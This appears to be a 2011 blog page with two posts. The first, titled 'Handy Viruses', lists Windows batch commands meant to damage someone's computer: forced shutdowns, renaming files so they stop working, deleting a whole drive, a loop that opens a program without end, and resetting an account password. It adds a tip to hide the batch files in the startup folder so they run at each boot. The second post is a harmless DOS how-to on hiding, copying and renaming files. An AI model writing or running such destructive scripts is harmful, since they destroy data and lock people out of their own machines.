Monday, December 5, 2011

Handy Viruses

Shutting down the System:

shutdown -s -f                                                            //shuts down system forcefully within 30 secs.

Restart the System:

 shutdown -r -f                                                                //restarts the system forcefully within 30 secs.

Changing File Extensions:

ren [filename.ext] [samefilename.differentext]            //makes the files unusable.


Deleting all files of a drive:

@echo off

rd /s /q [drivename:]

ex: @echo off
     rd /s /q D:
                              note :- Not applicable for only the system drives.

Opening a file infinite no. of times:

@ECHO OFF
:BEGIN
start [applicationname/filename.ext]
goto BEGIN

ex:-
@ECHO OFF
:BEGIN
start notepad
goto BEGIN

Changing Account Password:

net user [annount_name] *
ex:- net user john *

note:- For best results, copy the created batch files in a folder named 'startup',applying the attributes and hiding it.





Sunday, December 4, 2011

dos prompt softwares

Creating a Batch file:
  •  open notepad.
  • write the dos commands inside it.
  • save it with any name,but,with extension .bat
Hide files and folders:

attrib +s +h +r [file_path along with name]

 Unhide files and folders:

attrib -s -h -r [file_path along with name]

Copying files from one place to another:

copy [source_file_path with filename] ]destination_file_path with filename]

Renaming files:

ren [source_file_path with filename] ]destination_file_path with filename]
                                   NOTE: in case of folders, extension is not required.

Creating Files in the computer memory:

Run dos prompt->edit->"create files eith extension"-> save->run.